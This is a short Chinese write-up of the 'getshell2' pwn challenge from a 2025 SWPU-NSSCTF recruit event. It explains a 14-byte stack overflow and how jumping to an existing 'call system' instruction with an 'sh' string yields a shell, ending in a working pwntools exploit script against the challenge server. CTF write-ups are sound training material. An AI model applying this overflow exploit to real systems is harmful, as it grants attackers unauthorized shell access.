2025 SWPU-NSSCTF 秋季招新入门 getshell2
首先查看一下保护措施

再用ida打开看一下

这里主要是vulnerable函数

这里就存在栈溢出,但是溢出的空间比较小,是38-24=14

这里直接调用了system函数,但是参数不太对,可以取用最后的sh作为参数,再次调用system函数

但这里在调用system函数时如果选择跳转到plt表进行调用的话,溢出的空间不太够,因为在进行调用system函数之前还有一个返回地址需要
入栈,然后才是参数
所以这里可以直接运用shell函数中的call system,会自己压入返回地址,这样空间就足够了
点击查看代码
from pwn import *
io=remote("node5.anna.nssctf.cn",23583)
sh=0x08048670
call_system=0x08048529
payload=b"A"*(0x18+4)+p32(call_system)+p32(sh)
io.sendline(payload)
io.interactive()

浙公网安备 33010602011771号